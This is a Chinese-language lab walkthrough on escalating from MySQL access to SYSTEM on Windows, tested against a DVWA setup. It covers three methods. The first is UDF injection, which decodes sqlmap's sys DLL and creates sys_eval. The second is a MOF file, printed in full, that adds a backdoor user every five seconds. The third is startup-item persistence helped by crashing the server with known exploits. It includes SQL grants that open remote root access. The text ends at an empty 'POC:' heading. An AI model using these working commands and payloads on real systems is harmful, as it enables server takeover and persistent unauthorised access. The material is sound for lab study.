UDF提权
所用环境:Win7+phpstudy+dvwa
1.UDF提权前置知识
UDF介绍:
我们自定义的函数才被当作本机函数执行。在使用CREATE FUNCITON调用dll中的函数后,mysql账 号转化为system权限,从而来提权。
UDF提权条件:
2.UDF提权流程
(1、通过网站漏洞获取一个shell,如webshell:
(2、查找数据库账号密码
C:/phpstudy_pro/WWW/DVWA/DVWA/config/config.inc.php
(3、通过navicat连接数据库
如果无法远程连接的话,可以在后端数据库中进行授权
grant all privileges on *.* to root@'%' identified by 'root';
当然如果是实际的环境中,无法连接数据库,那就没有办法了
新建查询,查询Mysql系统位数:64位数
查询plugin路径,用以存放插件
show variables like '%plugin%';
可知路径为C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
查看secure_file_priv是否为NULL,确定是否能够对mysql导入导出,此处我们看是不为NULL的
(4、制作提权dll
sqlmap中有编码后的dll文件,路径为 sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下 python cloak.py -d -i lib_mysqludf_sys.dll_ # windows 环境允许以下命令 python cloak.py -d -i D:\\huanjing\\python\\Python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysql udf_sys.dll_
(5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录
如果没有相应的路径则需要自己创建
(6、创建sys_eval函数,提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
# 允许数据库远程连接 grant all privileges on *.* to "root"@"%" identified by "密码"; # 创建用户 CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123'; # 授予用户dvwa库权限 grant all on dvwa.* to 'admin'@'%'; # Mysql配置文件增加 srcure-file-priv选项 secure_file_priv= 使用函数进行提权:select sys_eval('whoami');
但是我们这里还是一个普通用户
之所以提权失败,是因为后端数据库所用的并不是最高权限账户
我们切换到administrator,再次执行select sys_eval('whoami');发现提权成功
MOF漏洞及启动项提权
1.MOF提权
条件: 1. windows 03及以下版本 2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录 3. secure-file-priv参数不为null 原理: MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof, 然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段 vbs脚本的内容让系统执行命令,进行提权。
mof利用代码:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 提权过程: 将上面的脚本上传到有读写权限的目录下 C:/phpstudy_pro/1.mof 然后使用sql语句将文件导入到c:/windows/system32/wbem/mof/下 : select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次test用户。
启动项提权
条件:file_priv 不为null、已知root密码 写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以配合ms12-020,ms15-034 等漏洞将服务器打蓝屏迫使服务器重启。
1、开始菜单当前用户启动文件夹-- C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 2、开始菜单所有用户启动文件夹-- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 3、注册表当前用户开机启动项目录-- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4、注册表所有用户开机启动项目录-- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
利用POC: